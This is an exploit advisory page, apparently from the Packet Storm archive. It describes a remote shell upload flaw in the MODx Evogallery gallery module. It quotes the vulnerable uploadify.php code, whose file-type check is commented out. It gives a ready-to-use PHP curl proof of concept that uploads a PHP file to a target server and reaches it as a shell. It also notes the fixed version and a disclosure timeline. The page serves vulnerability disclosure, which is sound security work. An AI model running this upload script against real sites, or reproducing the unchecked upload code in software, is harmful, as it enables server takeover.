exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MODx Evogallery Shell Upload

MODx Evogallery Shell Upload
Posted Feb 19, 2014
Authored by TUNISIAN CYBER

MODx Evogallery module suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 9a784e67c0f7356664c59bb5470d74fa98e7cddf5e78d753a95b794b54442202

MODx Evogallery Shell Upload

Change Mirror Download
[+] Author: TUNISIAN CYBER
[+] Exploit Title: MODx (Evogallery) File Upload Vulnerability
[+] Date: 18-02-2014
[+] Category: WebApp
[+] Tested on: KaliLinux/Windows 7 Pro
[+] Vendor: http://modx.com/extras/package/evogallery
[+] Friendly Sites: na3il.com,th3-creative.com

1.OVERVIEW:
MODx's module Evogallery suffers from a File Upload Vulnerability.

2.Background:
EvoGallery is a dynamic gallery extra for MODx Evolution.
It allows you to quickly and easily create galleries of images by associating them with any page on your site.
Galleries can be outputted in a variety of ways using a templated system.
http://modx.com/extras/package/evogallery

3.Vulnerability:
File : /assets/modules/evogallery/js/uploadify/uploadify.php Lines:27--->45
[PHP]
$tempFile = $_FILES['Filedata']['tmp_name'];
$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';
$targetFile = str_replace('//','/',$targetPath) .
$_FILES['Filedata']['name'];

// $fileTypes = str_replace('*.','',$_REQUEST['fileext']);
// $fileTypes = str_replace(';','|',$fileTypes);
// $typesArray = split('\|',$fileTypes);
// $fileParts = pathinfo($_FILES['Filedata']['name']);

// if (in_array($fileParts['extension'],$typesArray)) {
// Uncomment the following line if you want to make the directory if it
doesn't exist
// mkdir(str_replace('//','/',$targetPath), 0755, true);

move_uploaded_file($tempFile,$targetFile);
echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);
// } else {
// echo 'Invalid file type.';
// }
}
[PHP]

4.Proof Of Concept:
<?php
$uploadfile="file.php";
$ch = curl_init("demo.ltd/assets/modules/evogallery/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>

File can be found at demo.ltd/file.php

5.Solution(s):
Download fixed version:
https://github.com/Mark-H/EvoGallery

6.TIME-LINE:
2014-02-17: Vulnerability was discovered.
2014-02-17: Contact with the module maker.
2014-02-18: Bug fixed
2014-02-18: Vulnerability released.



7.Greetings:
Xmax-tn
Xtech-set
N43il
Sec4ver,E4A Members
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close